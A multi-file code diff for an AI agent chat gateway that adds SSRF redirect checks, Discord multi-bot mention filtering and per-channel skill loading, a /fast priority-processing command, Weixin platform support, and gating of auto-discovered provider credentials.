 #
@@ -281,7 +335,7 @@ async def cache_image_from_url(url: str, ext: str = ".jpg", retries: int = 2) ->
     """
     from tools.url_safety import is_safe_url
     if not is_safe_url(url):
-        raise ValueError(f"Blocked unsafe URL (SSRF protection): {_safe_url_for_log(url)}")
+        raise ValueError(f"Blocked unsafe URL (SSRF protection): {safe_url_for_log(url)}")
 
     import asyncio
     import httpx
@@ -289,7 +343,11 @@ async def cache_image_from_url(url: str, ext: str = ".jpg", retries: int = 2) ->
     _log = _logging.getLogger(__name__)
 
     last_exc = None
-    async with httpx.AsyncClient(timeout=30.0, follow_redirects=True) as client:
+    async with httpx.AsyncClient(
+        timeout=30.0,
+        follow_redirects=True,
+        event_hooks={"response": [_ssrf_redirect_guard]},
+    ) as client:
         for attempt in range(retries + 1):
             try:
                 response = await client.get(
@@ -311,7 +369,7 @@ async def cache_image_from_url(url: str, ext: str = ".jpg", retries: int = 2) ->
                         "Media cache retry %d/%d for %s (%.1fs): %s",
                         attempt + 1,
                         retries,
-                        _safe_url_for_log(url),
+                        safe_url_for_log(url),
                         wait,
                         exc,
                     )
@@ -396,7 +454,7 @@ async def cache_audio_from_url(url: str, ext: str = ".ogg", retries: int = 2) ->
     """
     from tools.url_safety import is_safe_url
     if not is_safe_url(url):
-        raise ValueError(f"Blocked unsafe URL (SSRF protection): {_safe_url_for_log(url)}")
+        raise ValueError(f"Blocked unsafe URL (SSRF protection): {safe_url_for_log(url)}")
 
     import asyncio
     import httpx
@@ -404,7 +462,11 @@ async def cache_audio_from_url(url: str, ext: str = ".ogg", retries: int = 2) ->
     _log = _logging.getLogger(__name__)
 
     last_exc = None
-    async with httpx.AsyncClient(timeout=30.0, follow_redirects=True) as client:
+    async with httpx.AsyncClient(
+        timeout=30.0,
+        follow_redirects=True,
+        event_hooks={"response": [_ssrf_redirect_guard]},
+    ) as client:
         for attempt in range(retries + 1):
             try:
                 response = await client.get(
@@ -426,7 +488,7 @@ async def cache_audio_from_url(url: str, ext: str = ".ogg", retries: int = 2) ->
                         "Audio cache retry %d/%d for %s (%.1fs): %s",
                         attempt + 1,
                         retries,
-                        _safe_url_for_log(url),
+                        safe_url_for_log(url),
                         wait,
                         exc,
                     )
@@ -564,8 +626,9 @@ class MessageEvent:
     reply_to_message_id: Optional[str] = None
     reply_to_text: Optional[str] = None  # Text of the replied-to message (for context injection)
     
-    # Auto-loaded skill for topic/channel bindings (e.g., Telegram DM Topics)
-    auto_skill: Optional[str] = None
+    # Auto-loaded skill(s) for topic/channel bindings (e.g., Telegram DM Topics,
+    # Discord channel_skill_bindings).  A single name or ordered list.
+    auto_skill: Optional[str | list[str]] = None
     
     # Internal flag — set for synthetic events (e.g. background process
     # completion notifications) that must bypass user authorization checks.
@@ -587,6 +650,9 @@ class MessageEvent:
         raw = parts[0][1:].lower() if parts else None
         if raw and "@" in raw:
             raw = raw.split("@", 1)[0]
+        # Reject file paths: valid command names never contain /
+        if raw and "/" in raw:
+            return None
         return raw
     
     def get_command_args(self) -> str:
@@ -1525,7 +1591,7 @@ class BasePlatformAdapter(ABC):
                         logger.info(
                             "[%s] Sending image: %s (alt=%s)",
                             self.name,
-                            _safe_url_for_log(image_url),
+                            safe_url_for_log(image_url),
                             alt_text[:30] if alt_text else "",
                         )
                         # Route animated GIFs through send_animation for proper playback

gateway/platforms/discord.py

@@ -606,22 +606,35 @@ class DiscordAdapter(BasePlatformAdapter):
                         if not self._client.user or self._client.user not in message.mentions:
                             return
                     # "all" falls through to handle_message
-
-                # If the message @mentions other users but NOT the bot, the
-                # sender is talking to someone else — stay silent.  Only
-                # applies in server channels; in DMs the user is always
-                # talking to the bot (mentions are just references).
-                # Controlled by DISCORD_IGNORE_NO_MENTION (default: true).
-                _ignore_no_mention = os.getenv(
-                    "DISCORD_IGNORE_NO_MENTION", "true"
-                ).lower() in ("true", "1", "yes")
-                if _ignore_no_mention and message.mentions and not isinstance(message.channel, discord.DMChannel):
-                    _bot_mentioned = (
+                
+                # Multi-agent filtering: if the message mentions specific bots
+                # but NOT this bot, the sender is talking to another agent —
+                # stay silent.  Messages with no bot mentions (general chat)
+                # still fall through to _handle_message for the existing
+                # DISCORD_REQUIRE_MENTION check.
+                #
+                # This replaces the older DISCORD_IGNORE_NO_MENTION logic
+                # with bot-aware filtering that works correctly when multiple
+                # agents share a channel.
+                if not isinstance(message.channel, discord.DMChannel) and message.mentions:
+                    _self_mentioned = (
                         self._client.user is not None
                         and self._client.user in message.mentions
                     )
-                    if not _bot_mentioned:
-                        return  # Talking to someone else, don't interrupt
+                    _other_bots_mentioned = any(
+                        m.bot and m != self._client.user
+                        for m in message.mentions
+                    )
+                    # If other bots are mentioned but we're not → not for us
+                    if _other_bots_mentioned and not _self_mentioned:
+                        return
+                    # If humans are mentioned but we're not → not for us
+                    # (preserves old DISCORD_IGNORE_NO_MENTION=true behavior)
+                    _ignore_no_mention = os.getenv(
+                        "DISCORD_IGNORE_NO_MENTION", "true"
+                    ).lower() in ("true", "1", "yes")
+                    if _ignore_no_mention and not _self_mentioned and not _other_bots_mentioned:
+                        return
 
                 await self._handle_message(message)
 
@@ -1892,14 +1905,42 @@ class DiscordAdapter(BasePlatformAdapter):
             chat_topic=chat_topic,
         )
 
+        _parent_id = str(getattr(getattr(interaction, "channel", None), "parent_id", "") or "")
+        _skills = self._resolve_channel_skills(thread_id, _parent_id or None)
         event = MessageEvent(
             text=text,
             message_type=MessageType.TEXT,
             source=source,
             raw_message=interaction,
+            auto_skill=_skills,
         )
         await self.handle_message(event)
 
+    def _resolve_channel_skills(self, channel_id: str, parent_id: str | None = None) -> list[str] | None:
+        """Look up auto-skill bindings for a Discord channel/forum thread.
+
+        Config format (in platform extra):
+            channel_skill_bindings:
+              - id: "123456"
+                skills: ["skill-a", "skill-b"]
+        Also checks parent_id so forum threads inherit the forum's bindings.
+        """
+        bindings = self.config.extra.get("channel_skill_bindings", [])
+        if not bindings:
+            return None
+        ids_to_check = {channel_id}
+        if parent_id:
+            ids_to_check.add(parent_id)
+        for entry in bindings:
+            entry_id = str(entry.get("id", ""))
+            if entry_id in ids_to_check:
+                skills = entry.get("skills") or entry.get("skill")
+                if isinstance(skills, str):
+                    return [skills]
+                if isinstance(skills, list) and skills:
+                    return list(dict.fromkeys(skills))  # dedup, preserve order
+        return None
+
     def _thread_parent_channel(self, channel: Any) -> Any:
         """Return the parent text channel when invoked from a thread."""
         return getattr(channel, "parent", None) or channel
@@ -2484,6 +2525,10 @@ class DiscordAdapter(BasePlatformAdapter):
         if not event_text or not event_text.strip():
             event_text = "(The user sent a message with no text content)"
 
+        _chan = message.channel
+        _parent_id = str(getattr(_chan, "parent_id", "") or "")
+        _chan_id = str(getattr(_chan, "id", ""))
+        _skills = self._resolve_channel_skills(_chan_id, _parent_id or None)
         event = MessageEvent(
             text=event_text,
             message_type=msg_type,
@@ -2494,6 +2539,7 @@ class DiscordAdapter(BasePlatformAdapter):
             media_types=media_types,
             reply_to_message_id=str(message.reference.message_id) if message.reference else None,
             timestamp=message.created_at,
+            auto_skill=_skills,
         )
 
         # Track thread participation so the bot won't require @mention for

gateway/platforms/feishu.py

@@ -1580,13 +1580,18 @@ class FeishuAdapter(BasePlatformAdapter):
             return SendResult(success=False, error=f"Image file not found: {image_path}")
 
         try:
-            with open(image_path, "rb") as image_file:
-                body = self._build_image_upload_body(
-                    image_type=_FEISHU_IMAGE_UPLOAD_TYPE,
-                    image=image_file,
-                )
-                request = self._build_image_upload_request(body)
-                upload_response = await asyncio.to_thread(self._client.im.v1.image.create, request)
+            import io as _io
+            with open(image_path, "rb") as f:
+                image_bytes = f.read()
+            # Wrap in BytesIO so lark SDK's MultipartEncoder can read .name and .tell()
+            image_file = _io.BytesIO(image_bytes)
+            image_file.name = os.path.basename(image_path)
+            body = self._build_image_upload_body(
+                image_type=_FEISHU_IMAGE_UPLOAD_TYPE,
+                image=image_file,
+            )
+            request = self._build_image_upload_request(body)
+            upload_response = await asyncio.to_thread(self._client.im.v1.image.create, request)
             image_key = self._extract_response_field(upload_response, "image_key")
             if not image_key:
                 return self._response_error_result(

gateway/platforms/matrix.py

@@ -177,6 +177,9 @@ class MatrixAdapter(BasePlatformAdapter):
         self._reactions_enabled: bool = os.getenv(
             "MATRIX_REACTIONS", "true"
         ).lower() not in ("false", "0", "no")
+        # Tracks the reaction event_id for in-progress (eyes) reactions.
+        # Key: (room_id, message_event_id) → reaction_event_id (for the eyes reaction).
+        self._pending_reactions: dict[tuple[str, str], str] = {}
 
         # Text batching: merge rapid successive messages (Telegram-style).
         # Matrix clients split long messages around 4000 chars.
@@ -1437,12 +1440,14 @@ class MatrixAdapter(BasePlatformAdapter):
 
     async def _send_reaction(
         self, room_id: str, event_id: str, emoji: str,
-    ) -> bool:
-        """Send an emoji reaction to a message in a room."""
+    ) -> Optional[str]:
+        """Send an emoji reaction to a message in a room.
+        Returns the reaction event_id on success, None on failure.
+        """
         import nio
 
         if not self._client:
-            return False
+            return None
         content = {
             "m.relates_to": {
                 "rel_type": "m.annotation",
@@ -1457,12 +1462,12 @@ class MatrixAdapter(BasePlatformAdapter):
             )
             if isinstance(resp, nio.RoomSendResponse):
                 logger.debug("Matrix: sent reaction %s to %s", emoji, event_id)
-                return True
+                return resp.event_id
             logger.debug("Matrix: reaction send failed: %s", resp)
-            return False
+            return None
         except Exception as exc:
             logger.debug("Matrix: reaction send error: %s", exc)
-            return False
+            return None
 
     async def _redact_reaction(
         self, room_id: str, reaction_event_id: str, reason: str = "",
@@ -1477,7 +1482,9 @@ class MatrixAdapter(BasePlatformAdapter):
         msg_id = event.message_id
         room_id = event.source.chat_id
         if msg_id and room_id:
-            await self._send_reaction(room_id, msg_id, "\U0001f440")
+            reaction_event_id = await self._send_reaction(room_id, msg_id, "\U0001f440")
+            if reaction_event_id:
+                self._pending_reactions[(room_id, msg_id)] = reaction_event_id
 
     async def on_processing_complete(
         self, event: MessageEvent, outcome: ProcessingOutcome,
@@ -1491,9 +1498,12 @@ class MatrixAdapter(BasePlatformAdapter):
             return
         if outcome == ProcessingOutcome.CANCELLED:
             return
-        # Note: Matrix doesn't support removing a specific reaction easily
-        # without tracking the reaction event_id. We send the new reaction;
-        # the eyes stays (acceptable UX — both are visible).
+        # Remove the eyes reaction first, if we tracked its event_id.
+        reaction_key = (room_id, msg_id)
+        if reaction_key in self._pending_reactions:
+            eyes_event_id = self._pending_reactions.pop(reaction_key)
+            if not await self._redact_reaction(room_id, eyes_event_id):
+                logger.debug("Matrix: failed to redact eyes reaction %s", eyes_event_id)
         await self._send_reaction(
             room_id,
             msg_id,

gateway/platforms/slack.py

@@ -39,6 +39,7 @@ from gateway.platforms.base import (
     MessageType,
     SendResult,
     SUPPORTED_DOCUMENT_TYPES,
+    safe_url_for_log,
     cache_document_from_bytes,
 )
 
@@ -656,8 +657,19 @@ class SlackAdapter(BasePlatformAdapter):
         try:
             import httpx
 
+            async def _ssrf_redirect_guard(response):
+                """Re-check redirect targets so public URLs cannot bounce into private IPs."""
+                if response.is_redirect and response.next_request:
+                    redirect_url = str(response.next_request.url)
+                    if not is_safe_url(redirect_url):
+                        raise ValueError("Blocked redirect to private/internal address")
+
             # Download the image first
-            async with httpx.AsyncClient(timeout=30.0, follow_redirects=True) as client:
+            async with httpx.AsyncClient(
+                timeout=30.0,
+                follow_redirects=True,
+                event_hooks={"response": [_ssrf_redirect_guard]},
+            ) as client:
                 response = await client.get(image_url)
                 response.raise_for_status()
 
@@ -674,7 +686,7 @@ class SlackAdapter(BasePlatformAdapter):
         except Exception as e:  # pragma: no cover - defensive logging
             logger.warning(
                 "[Slack] Failed to upload image from URL %s, falling back to text: %s",
-                image_url,
+                safe_url_for_log(image_url),
                 e,
                 exc_info=True,
             )

gateway/platforms/telegram.py

@@ -518,6 +518,16 @@ class TelegramAdapter(BasePlatformAdapter):
 
             # Build the application
             builder = Application.builder().token(self.config.token)
+            custom_base_url = self.config.extra.get("base_url")
+            if custom_base_url:
+                builder = builder.base_url(custom_base_url)
+                builder = builder.base_file_url(
+                    self.config.extra.get("base_file_url", custom_base_url)
+                )
+                logger.info(
+                    "[%s] Using custom Telegram base_url: %s",
+                    self.name, custom_base_url,
+                )
 
             # PTB defaults (pool_timeout=1s) are too aggressive on flaky networks and
             # can trigger "Pool timeout: All connections in the connection pool are occupied"
@@ -547,7 +557,6 @@ class TelegramAdapter(BasePlatformAdapter):
                 for k in ("HTTPS_PROXY", "HTTP_PROXY", "ALL_PROXY", "https_proxy", "http_proxy", "all_proxy")
             )
             disable_fallback = (os.getenv("HERMES_TELEGRAM_DISABLE_FALLBACK_IPS", "").strip().lower() in ("1", "true", "yes", "on"))
-
             fallback_ips = self._fallback_ips()
             if not fallback_ips:
                 fallback_ips = await discover_fallback_ips()
@@ -2793,5 +2802,5 @@ class TelegramAdapter(BasePlatformAdapter):
             await self._set_reaction(
                 chat_id,
                 message_id,
-                "\u2705" if outcome == ProcessingOutcome.SUCCESS else "\u274c",
+                "\U0001f44d" if outcome == ProcessingOutcome.SUCCESS else "\U0001f44e",
             )

gateway/platforms/webhook.py

@@ -201,6 +201,7 @@ class WebhookAdapter(BasePlatformAdapter):
             "dingtalk",
             "feishu",
             "wecom",
+            "weixin",
             "bluebubbles",
         ):
             return await self._deliver_cross_platform(

gateway/run.py

@@ -481,6 +481,7 @@ class GatewayRunner:
         self._prefill_messages = self._load_prefill_messages()
         self._ephemeral_system_prompt = self._load_ephemeral_system_prompt()
         self._reasoning_config = self._load_reasoning_config()
+        self._service_tier = self._load_service_tier()
         self._show_reasoning = self._load_show_reasoning()
         self._provider_routing = self._load_provider_routing()
         self._fallback_model = self._load_fallback_model()
@@ -776,6 +777,7 @@ class GatewayRunner:
 
     def _resolve_turn_agent_config(self, user_message: str, model: str, runtime_kwargs: dict) -> dict:
         from agent.smart_model_routing import resolve_turn_route
+        from hermes_cli.models import resolve_fast_mode_overrides
 
         primary = {
             "model": model,
@@ -787,7 +789,19 @@ class GatewayRunner:
             "args": list(runtime_kwargs.get("args") or []),
             "credential_pool": runtime_kwargs.get("credential_pool"),
         }
-        return resolve_turn_route(user_message, getattr(self, "_smart_model_routing", {}), primary)
+        route = resolve_turn_route(user_message, getattr(self, "_smart_model_routing", {}), primary)
+
+        service_tier = getattr(self, "_service_tier", None)
+        if not service_tier:
+            route["request_overrides"] = None
+            return route
+
+        try:
+            overrides = resolve_fast_mode_overrides(route.get("model"))
+        except Exception:
+            overrides = None
+        route["request_overrides"] = overrides
+        return route
 
     async def _handle_adapter_fatal_error(self, adapter: BasePlatformAdapter) -> None:
         """React to an adapter failure after startup.
@@ -939,6 +953,33 @@ class GatewayRunner:
             logger.warning("Unknown reasoning_effort '%s', using default (medium)", effort)
         return result
 
+    @staticmethod
+    def _load_service_tier() -> str | None:
+        """Load Priority Processing setting from config.yaml.
+
+        Reads agent.service_tier from config.yaml. Accepted values mirror the CLI:
+        "fast"/"priority"/"on" => "priority", while "normal"/"off" disables it.
+        Returns None when unset or unsupported.
+        """
+        raw = ""
+        try:
+            import yaml as _y
+            cfg_path = _hermes_home / "config.yaml"
+            if cfg_path.exists():
+                with open(cfg_path, encoding="utf-8") as _f:
+                    cfg = _y.safe_load(_f) or {}
+                raw = str(cfg.get("agent", {}).get("service_tier", "") or "").strip()
+        except Exception:
+            pass
+
+        value = raw.lower()
+        if not value or value in {"normal", "default", "standard", "off", "none"}:
+            return None
+        if value in {"fast", "priority", "on"}:
+            return "priority"
+        logger.warning("Unknown service_tier '%s', ignoring", raw)
+        return None
+
     @staticmethod
     def _load_show_reasoning() -> bool:
         """Load show_reasoning toggle from config.yaml display section."""
@@ -1069,6 +1110,7 @@ class GatewayRunner:
                        "MATRIX_ALLOWED_USERS", "DINGTALK_ALLOWED_USERS",
                        "FEISHU_ALLOWED_USERS",
                        "WECOM_ALLOWED_USERS",
+                       "WEIXIN_ALLOWED_USERS",
                        "BLUEBUBBLES_ALLOWED_USERS",
                        "GATEWAY_ALLOWED_USERS")
         )
@@ -1081,6 +1123,7 @@ class GatewayRunner:
                        "MATRIX_ALLOW_ALL_USERS", "DINGTALK_ALLOW_ALL_USERS",
                        "FEISHU_ALLOW_ALL_USERS",
                        "WECOM_ALLOW_ALL_USERS",
+                       "WEIXIN_ALLOW_ALL_USERS",
                        "BLUEBUBBLES_ALLOW_ALL_USERS")
         )
         if not _any_allowlist and not _allow_all:
@@ -1622,6 +1665,13 @@ class GatewayRunner:
                 return None
             return WeComAdapter(config)
 
+        elif platform == Platform.WEIXIN:
+            from gateway.platforms.weixin import WeixinAdapter, check_weixin_requirements
+            if not check_weixin_requirements():
+                logger.warning("Weixin: aiohttp/cryptography not installed")
+                return None
+            return WeixinAdapter(config)
+
         elif platform == Platform.MATTERMOST:
             from gateway.platforms.mattermost import MattermostAdapter, check_mattermost_requirements
             if not check_mattermost_requirements():
@@ -1697,6 +1747,7 @@ class GatewayRunner:
             Platform.DINGTALK: "DINGTALK_ALLOWED_USERS",
             Platform.FEISHU: "FEISHU_ALLOWED_USERS",
             Platform.WECOM: "WECOM_ALLOWED_USERS",
+            Platform.WEIXIN: "WEIXIN_ALLOWED_USERS",
             Platform.BLUEBUBBLES: "BLUEBUBBLES_ALLOWED_USERS",
         }
         platform_allow_all_map = {
@@ -1712,6 +1763,7 @@ class GatewayRunner:
             Platform.DINGTALK: "DINGTALK_ALLOW_ALL_USERS",
             Platform.FEISHU: "FEISHU_ALLOW_ALL_USERS",
             Platform.WECOM: "WECOM_ALLOW_ALL_USERS",
+            Platform.WEIXIN: "WEIXIN_ALLOW_ALL_USERS",
             Platform.BLUEBUBBLES: "BLUEBUBBLES_ALLOW_ALL_USERS",
         }
 
@@ -2077,6 +2129,9 @@ class GatewayRunner:
         if canonical == "reasoning":
             return await self._handle_reasoning_command(event)
 
+        if canonical == "fast":
+            return await self._handle_fast_command(event)
+
         if canonical == "verbose":
             return await self._handle_verbose_command(event)
 
@@ -2419,37 +2474,41 @@ class GatewayRunner:
             session_entry.was_auto_reset = False
             session_entry.auto_reset_reason = None
 
-        # Auto-load skill for DM topic bindings (e.g., Telegram Private Chat Topics)
-        # Only inject on NEW sessions — for ongoing conversations the skill content
-        # is already in the conversation history from the first message.
-        if _is_new_session and getattr(event, "auto_skill", None):
+        # Auto-load skill(s) for topic/channel bindings (Telegram DM Topics,
+        # Discord channel_skill_bindings).  Supports a single name or ordered list.
+        # Only inject on NEW sessions — ongoing conversations already have the
+        # skill content in their conversation history from the first message.
+        _auto = getattr(event, "auto_skill", None)
+        if _is_new_session and _auto:
+            _skill_names = [_auto] if isinstance(_auto, str) else list(_auto)
             try:
                 from agent.skill_commands import _load_skill_payload, _build_skill_message
-                _skill_name = event.auto_skill
-                _loaded = _load_skill_payload(_skill_name, task_id=_quick_key)
-                if _loaded:
-                    _loaded_skill, _skill_dir, _display_name = _loaded
-                    _activation_note = (
-                        f'[SYSTEM: This conversation is in a topic with the "{_display_name}" skill '
-                        f"auto-loaded. Follow its instructions for the duration of this session.]"
-                    )
-                    _skill_msg = _build_skill_message(
-                        _loaded_skill, _skill_dir, _activation_note,
-                        user_instruction=event.text,
-                    )
-                    if _skill_msg:
-                        event.text = _skill_msg
-                        logger.info(
-                            "[Gateway] Auto-loaded skill '%s' for DM topic session %s",
-                            _skill_name, session_key,
+                _combined_parts: list[str] = []
+                _loaded_names: list[str] = []
+                for _sname in _skill_names:
+                    _loaded = _load_skill_payload(_sname, task_id=_quick_key)
+                    if _loaded:
+                        _loaded_skill, _skill_dir, _display_name = _loaded
+                        _note = (
+                            f'[SYSTEM: The "{_display_name}" skill is auto-loaded. '
+                            f"Follow its instructions for this session.]"
                         )
-                else:
-                    logger.warning(
-                        "[Gateway] DM topic skill '%s' not found in available skills",
-                        _skill_name,
+                        _part = _build_skill_message(_loaded_skill, _skill_dir, _note)
+                        if _part:
+                            _combined_parts.append(_part)
+                            _loaded_names.append(_sname)
+                    else:
+                        logger.warning("[Gateway] Auto-skill '%s' not found", _sname)
+                if _combined_parts:
+                    # Append the user's original text after all skill payloads
+                    _combined_parts.append(event.text)
+                    event.text = "\n\n".join(_combined_parts)
+                    logger.info(
+                        "[Gateway] Auto-loaded skill(s) %s for session %s",
+                        _loaded_names, session_key,
                     )
             except Exception as e:
-                logger.warning("[Gateway] Failed to auto-load topic skill '%s': %s", event.auto_skill, e)
+                logger.warning("[Gateway] Failed to auto-load skill(s) %s: %s", _skill_names, e)
 
         # Load conversation history from transcript
         history = self.session_store.load_transcript(session_entry.session_id)
@@ -3846,6 +3905,7 @@ class GatewayRunner:
 
         # Resolve current provider from config
         current_provider = "openrouter"
+        model_cfg = {}
         config_path = _hermes_home / 'config.yaml'
         try:
             if config_path.exists():
@@ -4586,6 +4646,7 @@ class GatewayRunner:
             max_iterations = int(os.getenv("HERMES_MAX_ITERATIONS", "90"))
             reasoning_config = self._load_reasoning_config()
             self._reasoning_config = reasoning_config
+            self._service_tier = self._load_service_tier()
             turn_route = self._resolve_turn_agent_config(prompt, model, runtime_kwargs)
 
             def run_sync():
@@ -4597,6 +4658,8 @@ class GatewayRunner:
                     verbose_logging=False,
                     enabled_toolsets=enabled_toolsets,
                     reasoning_config=reasoning_config,
+                    service_tier=self._service_tier,
+                    request_overrides=turn_route.get("request_overrides"),
                     providers_allowed=pr.get("only"),
                     providers_ignored=pr.get("ignore"),
                     providers_order=pr.get("order"),
@@ -4746,6 +4809,7 @@ class GatewayRunner:
             model = _resolve_gateway_model(user_config)
             platform_key = _platform_config_key(source.platform)
             reasoning_config = self._load_reasoning_config()
+            self._service_tier = self._load_service_tier()
             turn_route = self._resolve_turn_agent_config(question, model, runtime_kwargs)
             pr = self._provider_routing
 
@@ -4772,6 +4836,8 @@ class GatewayRunner:
                     verbose_logging=False,
                     enabled_toolsets=[],
                     reasoning_config=reasoning_config,
+                    service_tier=self._service_tier,
+                    request_overrides=turn_route.get("request_overrides"),
                     providers_allowed=pr.get("only"),
                     providers_ignored=pr.get("ignore"),
                     providers_order=pr.get("order"),
@@ -4925,6 +4991,66 @@ class GatewayRunner:
         else:
             return f"🧠 ✓ Reasoning effort set to `{effort}` (this session only)"
 
+    async def _handle_fast_command(self, event: MessageEvent) -> str:
+        """Handle /fast — mirror the CLI Priority Processing toggle in gateway chats."""
+        import yaml
+        from hermes_cli.models import model_supports_fast_mode
+
+        args = event.get_command_args().strip().lower()
+        config_path = _hermes_home / "config.yaml"
+        self._service_tier = self._load_service_tier()
+
+        user_config = _load_gateway_config()
+        model = _resolve_gateway_model(user_config)
+        if not model_supports_fast_mode(model):
+            return "⚡ /fast is only available for OpenAI models that support Priority Processing."
+
+        def _save_config_key(key_path: str, value):
+            """Save a dot-separated key to config.yaml."""
+            try:
+                user_config = {}
+                if config_path.exists():
+                    with open(config_path, encoding="utf-8") as f:
+                        user_config = yaml.safe_load(f) or {}
+                keys = key_path.split(".")
+                current = user_config
+                for k in keys[:-1]:
+                    if k not in current or not isinstance(current[k], dict):
+                        current[k] = {}
+                    current = current[k]
+                current[keys[-1]] = value
+                atomic_yaml_write(config_path, user_config)
+                return True
+            except Exception as e:
+                logger.error("Failed to save config key %s: %s", key_path, e)
+                return False
+
+        if not args or args == "status":
+            status = "fast" if self._service_tier == "priority" else "normal"
+            return (
+                "⚡ Priority Processing\n\n"
+                f"Current mode: `{status}`\n\n"
+                "_Usage:_ `/fast <normal|fast|status>`"
+            )
+
+        if args in {"fast", "on"}:
+            self._service_tier = "priority"
+            saved_value = "fast"
+            label = "FAST"
+        elif args in {"normal", "off"}:
+            self._service_tier = None
+            saved_value = "normal"
+            label = "NORMAL"
+        else:
+            return (
+                f"⚠️ Unknown argument: `{args}`\n\n"
+                "**Valid options:** normal, fast, status"
+            )
+
+        if _save_config_key("agent.service_tier", saved_value):
+            return f"⚡ ✓ Priority Processing: **{label}** (saved to config)\n_(takes effect on next message)_"
+        return f"⚡ ✓ Priority Processing: **{label}** (this session only)"
+
     async def _handle_yolo_command(self, event: MessageEvent) -> str:
         """Handle /yolo — toggle dangerous command approval bypass for this session only."""
         from tools.approval import (
@@ -5606,7 +5732,7 @@ class GatewayRunner:
         Platform.TELEGRAM, Platform.DISCORD, Platform.SLACK, Platform.WHATSAPP,
         Platform.SIGNAL, Platform.MATTERMOST, Platform.MATRIX,
         Platform.HOMEASSISTANT, Platform.EMAIL, Platform.SMS, Platform.DINGTALK,
-        Platform.FEISHU, Platform.WECOM, Platform.BLUEBUBBLES, Platform.LOCAL,
+        Platform.FEISHU, Platform.WECOM, Platform.WEIXIN, Platform.BLUEBUBBLES, Platform.LOCAL,
     })
 
     async def _handle_update_command(self, event: MessageEvent) -> str:
@@ -6755,6 +6881,7 @@ class GatewayRunner:
             pr = self._provider_routing
             reasoning_config = self._load_reasoning_config()
             self._reasoning_config = reasoning_config
+            self._service_tier = self._load_service_tier()
             # Set up streaming consumer if enabled
             _stream_consumer = None
             _stream_delta_cb = None
@@ -6817,6 +6944,8 @@ class GatewayRunner:
                     ephemeral_system_prompt=combined_ephemeral or None,
                     prefill_messages=self._prefill_messages or None,
                     reasoning_config=reasoning_config,
+                    service_tier=self._service_tier,
+                    request_overrides=turn_route.get("request_overrides"),
                     providers_allowed=pr.get("only"),
                     providers_ignored=pr.get("ignore"),
                     providers_order=pr.get("order"),
@@ -6841,6 +6970,8 @@ class GatewayRunner:
             agent.stream_delta_callback = _stream_delta_cb
             agent.status_callback = _status_callback_sync
             agent.reasoning_config = reasoning_config
+            agent.service_tier = self._service_tier
+            agent.request_overrides = turn_route.get("request_overrides")
 
             # Background review delivery — send "💾 Memory updated" etc. to user
             def _bg_review_send(message: str) -> None:

hermes_cli/auth.py

@@ -198,6 +198,14 @@ PROVIDER_REGISTRY: Dict[str, ProviderConfig] = {
         api_key_env_vars=("DEEPSEEK_API_KEY",),
         base_url_env_var="DEEPSEEK_BASE_URL",
     ),
+    "xai": ProviderConfig(
+        id="xai",
+        name="xAI",
+        auth_type="api_key",
+        inference_base_url="https://api.x.ai/v1",
+        api_key_env_vars=("XAI_API_KEY",),
+        base_url_env_var="XAI_BASE_URL",
+    ),
     "ai-gateway": ProviderConfig(
         id="ai-gateway",
         name="AI Gateway",
@@ -704,6 +712,27 @@ def write_credential_pool(provider_id: str, entries: List[Dict[str, Any]]) -> Pa
         return _save_auth_store(auth_store)
 
 
+def suppress_credential_source(provider_id: str, source: str) -> None:
+    """Mark a credential source as suppressed so it won't be re-seeded."""
+    with _auth_store_lock():
+        auth_store = _load_auth_store()
+        suppressed = auth_store.setdefault("suppressed_sources", {})
+        provider_list = suppressed.setdefault(provider_id, [])
+        if source not in provider_list:
+            provider_list.append(source)
+        _save_auth_store(auth_store)
+
+
+def is_source_suppressed(provider_id: str, source: str) -> bool:
+    """Check if a credential source has been suppressed by the user."""
+    try:
+        auth_store = _load_auth_store()
+        suppressed = auth_store.get("suppressed_sources", {})
+        return source in suppressed.get(provider_id, [])
+    except Exception:
+        return False
+
+
 def get_provider_auth_state(provider_id: str) -> Optional[Dict[str, Any]]:
     """Return persisted auth state for a provider, or None."""
     auth_store = _load_auth_store()
@@ -716,6 +745,57 @@ def get_active_provider() -> Optional[str]:
     return auth_store.get("active_provider")
 
 
+def is_provider_explicitly_configured(provider_id: str) -> bool:
+    """Return True only if the user has explicitly configured this provider.
+
+    Checks:
+      1. active_provider in auth.json matches
+      2. model.provider in config.yaml matches
+      3. Provider-specific env vars are set (e.g. ANTHROPIC_API_KEY)
+
+    This is used to gate auto-discovery of external credentials (e.g.
+    Claude Code's ~/.claude/.credentials.json) so they are never used
+    without the user's explicit choice.  See PR #4210 for the same
+    pattern applied to the setup wizard gate.
+    """
+    normalized = (provider_id or "").strip().lower()
+
+    # 1. Check auth.json active_provider
+    try:
+        auth_store = _load_auth_store()
+        active = (auth_store.get("active_provider") or "").strip().lower()
+        if active and active == normalized:
+            return True
+    except Exception:
+        pass
+
+    # 2. Check config.yaml model.provider
+    try:
+        from hermes_cli.config import load_config
+        cfg = load_config()
+        model_cfg = cfg.get("model")
+        if isinstance(model_cfg, dict):
+            cfg_provider = (model_cfg.get("provider") or "").strip().lower()
+            if cfg_provider == normalized:
+                return True
+    except Exception:
+        pass
+
+    # 3. Check provider-specific env vars
+    # Exclude CLAUDE_CODE_OAUTH_TOKEN — it's set by Claude Code itself,
+    # not by the user explicitly configuring anthropic in Hermes.
+    _IMPLICIT_ENV_VARS = {"CLAUDE_CODE_OAUTH_TOKEN"}
+    pconfig = PROVIDER_REGISTRY.get(normalized)
+    if pconfig and pconfig.auth_type == "api_key":
+        for env_var in pconfig.api_key_env_vars:
+            if env_var in _IMPLICIT_ENV_VARS:
+                continue
+            if has_usable_secret(os.getenv(env_var, "")):
+                return True
+
+    return False
+
+
 def clear_provider_auth(provider_id: Optional[str] = None) -> bool:
     """
     Clear auth state for a provider. Used by `hermes logout`.
@@ -818,7 +898,7 @@ def resolve_provider(
     _PROVIDER_ALIASES = {
         "glm": "zai", "z-ai": "zai", "z.ai": "zai", "zhipu": "zai",
         "google": "gemini", "google-gemini": "gemini", "google-ai-studio": "gemini",
-        "kimi": "kimi-coding", "moonshot": "kimi-coding",
+        "kimi": "kimi-coding", "kimi-for-coding": "kimi-coding", "moonshot": "kimi-coding",
         "minimax-china": "minimax-cn", "minimax_cn": "minimax-cn",
         "claude": "anthropic", "claude-code": "anthropic",
         "github": "copilot", "github-copilot": "copilot",
@@ -1441,7 +1521,15 @@ def _resolve_verify(
     if effective_insecure:
         return False
     if effective_ca:
-        return str(effective_ca)
+        ca_path = str(effective_ca)
+        if not os.path.isfile(ca_path):
+            import logging
+            logging.getLogger("hermes.auth").warning(
+                "CA bundle path does not exist: %s — falling back to default certificates",
+                ca_path,
